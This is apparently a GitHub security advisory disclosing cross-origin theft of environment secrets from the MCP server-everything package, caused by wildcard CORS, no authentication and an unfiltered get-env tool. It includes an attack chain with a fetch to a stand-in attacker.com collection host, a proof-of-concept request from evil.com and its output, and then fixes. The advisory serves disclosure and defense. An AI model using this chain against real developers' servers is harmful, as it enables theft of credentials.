Skip to main content
Menu
Advisories

Cross-Origin Environment Variable Exfiltration in @modelcontextprotocol/server-everything

GHSA-MVF5-2QQV-RG3CPublished Updated GitHub

Description

The mcp-server-everything package ships an HTTP MCP server that binds to all network interfaces (0.0.0.0) with wildcard CORS (Access-Control-Allow-Origin: *) and no authentication. It exposes a get-env tool that returns the entire contents of process.env — including all API keys, database credentials, and secrets — to any caller. Any web page open in the developer's browser can invoke this tool cross-origin with no user interaction, silently exfiltrating every secret in the process environment.

---

Affected Components

FileIssue
src/everything/transports/sse.ts:10-16cors({ origin: "*" }) on SSE transport
src/everything/transports/streamableHttp.ts:43-51cors({ origin: "*" }) on StreamableHTTP transport
src/everything/tools/get-env.ts:28JSON.stringify(process.env, null, 2) — unfiltered env dump
Both transports, app.listen(PORT)No host binding restriction; defaults to 0.0.0.0

---

Details

Attack Chain

Developer running mcp-server-everything (SSE or StreamableHTTP)
  + real credentials in process.env (API keys, DB passwords, tokens)
  + developer visits any attacker-controlled page (malicious ad, phishing, typosquat)
        │
        ▼
Browser: EventSource("http://localhost:3001/sse")     ← CORS: * allows this
        │
        ▼
Attacker page completes MCP handshake (initialize → notifications/initialized)
        │
        ▼
Browser: POST /message?sessionId=... { method: "tools/call", name: "get-env" }
        │                                          ← CORS: * allows this
        ▼
Server returns JSON.stringify(process.env)
  → AWS_SECRET_ACCESS_KEY, OPENAI_API_KEY, DATABASE_URL, all tokens...
        │
        ▼
fetch("https://attacker.com/collect", { body: stolen_env })
        │
        ▼
All secrets exfiltrated. No browser warnings. No user prompts. No logs on victim machine.

Why No Bypass Exists

Checked all potential mitigations — none are present:

  1. No env var flag to disable get-env: registerGetEnvTool(server) is called unconditionally in tools/index.ts:28. No DISABLE_GET_ENV, NO_GET_ENV, or equivalent.
  2. No CORS allowlist or env var override: origin: "*" is hardcoded. No CORS_ORIGIN, ALLOWED_ORIGINS, or similar override mechanism exists in either transport.
  3. No host binding restriction: app.listen(PORT) with no host parameter. Node defaults to 0.0.0.0, making the server reachable on all interfaces including loopback (browser-accessible) and LAN.
  4. No authentication: No middleware on any route. tools/call is reachable immediately after the MCP handshake.
  5. No secret filtering in get-env: No denylist, no regex scrubbing, no opt-in allowlist. All keys returned.

---

PoC

Verified live on 2026-03-17 against @modelcontextprotocol/server-everything at HEAD (1cdf806).

Setup

# Start server with fake credentials in env
SECRET_KEY="REAL_SECRET_EXFILTRATED_12345" \
OPENAI_API_KEY="sk-live-abcdefg" \
PORT=13001 \
node dist/index.js sse

CORS Preflight Confirmation

OPTIONS /message HTTP/1.1
Origin: http://evil.com
Access-Control-Request-Method: POST

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: *       ← any origin accepted
Access-Control-Allow-Methods: GET,POST
Access-Control-Allow-Headers: Content-Type

Full MCP Flow (Node.js)

Session: b1fa9222-8ec5-4ace-b7b8-f43659d6bc61
CORS cross-origin request: SUCCEEDED (Origin: evil.com)
Total vars stolen: 47
SECRET_KEY: REAL_SECRET_EXFILTRATED_12345
OPENAI_API_KEY: sk-live-abcdefg
USER: ehudmelzer

All 47 environment variables returned in a single tools/call response. Origin http://evil.com was accepted without restriction.

PoC files: See attacker.html (browser-based) and start-victim-server.sh attached under archive.zip + screen recording demonstration.

github.com/user-attachments/assets/0011fe4d-e62d-4eec-abb5-2c3627967865 Archive.zip

---

Impact

ScenarioImpact
Developer runs SSE/StreamableHTTP transport locally during developmentAll secrets in env exfiltrated by any visited web page
CI/CD pipeline runs mcp-server-everything with injected credentialsCredentials stolen by any network-adjacent page load
Docker container with --network host running the serverSame as above, LAN-accessible
Developer uses one-click VS Code install shown in README (stdio only)Not affected — stdio transport has no HTTP surface

The stdio transport (default) is not affected. Only developers who explicitly start the SSE or StreamableHTTP transports are exposed. However:

  • The README documents and encourages both HTTP transports
  • VS Code Docker install (mcp/everything) uses stdio — not affected
  • npx @modelcontextprotocol/server-everything sse — directly affected

---

Recommended Fixes

Immediate (the server should not be run as-is)

  1. Bind to loopback only: ``typescript app.listen(PORT, "127.0.0.1", () => { ... }); ``
  2. Replace wildcard CORS with localhost-only: ``typescript cors({ origin: /^https?:\/\/localhost(:\d+)?$/ }) ``
  3. Remove or gate get-env behind an explicit opt-in flag: ``typescript if (process.env.ENABLE_GET_ENV_TOOL === "true") { registerGetEnvTool(server); } ``
  4. Add auth token to HTTP transports (bearer token generated at startup, logged to console).

Long-term

  • Add a security warning to the README before the HTTP transport usage instructions
  • Document that get-env exposes all process secrets and should never be run in shared or multi-user environments
  • Publish a fixed version to npm

Earlier versions

Releases before 2025.9.24 did not send permissive CORS headers, so a web page could not read tool results cross-origin. They still checked neither Origin nor Host, so they remain exposed to DNS rebinding, which the Origin check in 2.0.1 also closes. Upgrade from any earlier version.

Upgrading from a date-versioned release

@modelcontextprotocol/server-everything moved from date versions (2025.x, 2026.x) to semantic versions in 1.0.0. Package managers rank 2.0.1 below every 2025.x and 2026.x version, so they will not offer it as an upgrade and Dependabot will not open one. If you are on a date version, install the fix explicitly: npm install @modelcontextprotocol/server-everything@2.0.1 (or @latest).

Affected versions

References

GitHub · modelcontextprotocol/servers